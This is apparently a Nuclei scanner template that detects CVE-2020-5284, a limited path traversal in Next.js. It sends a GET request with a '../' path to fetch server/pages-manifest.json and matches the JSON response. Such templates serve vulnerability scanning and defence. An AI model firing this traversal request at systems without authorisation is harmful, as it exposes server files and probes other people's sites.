id: cve-2020-5284

info:
  name: Next.js .next/ limited path traversal
  author: Harsh & Rahul & dwisiswant0
  severity: medium

requests:
  - method: GET
    path:
      - "{{BaseURL}}/_next/static/../server/pages-manifest.json"
    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - '\{"/_app":".*?_app\.js"'
        part: body
      - type: word
        words:
          - "application/json"
        part: header
      - type: status
        status:
          - 200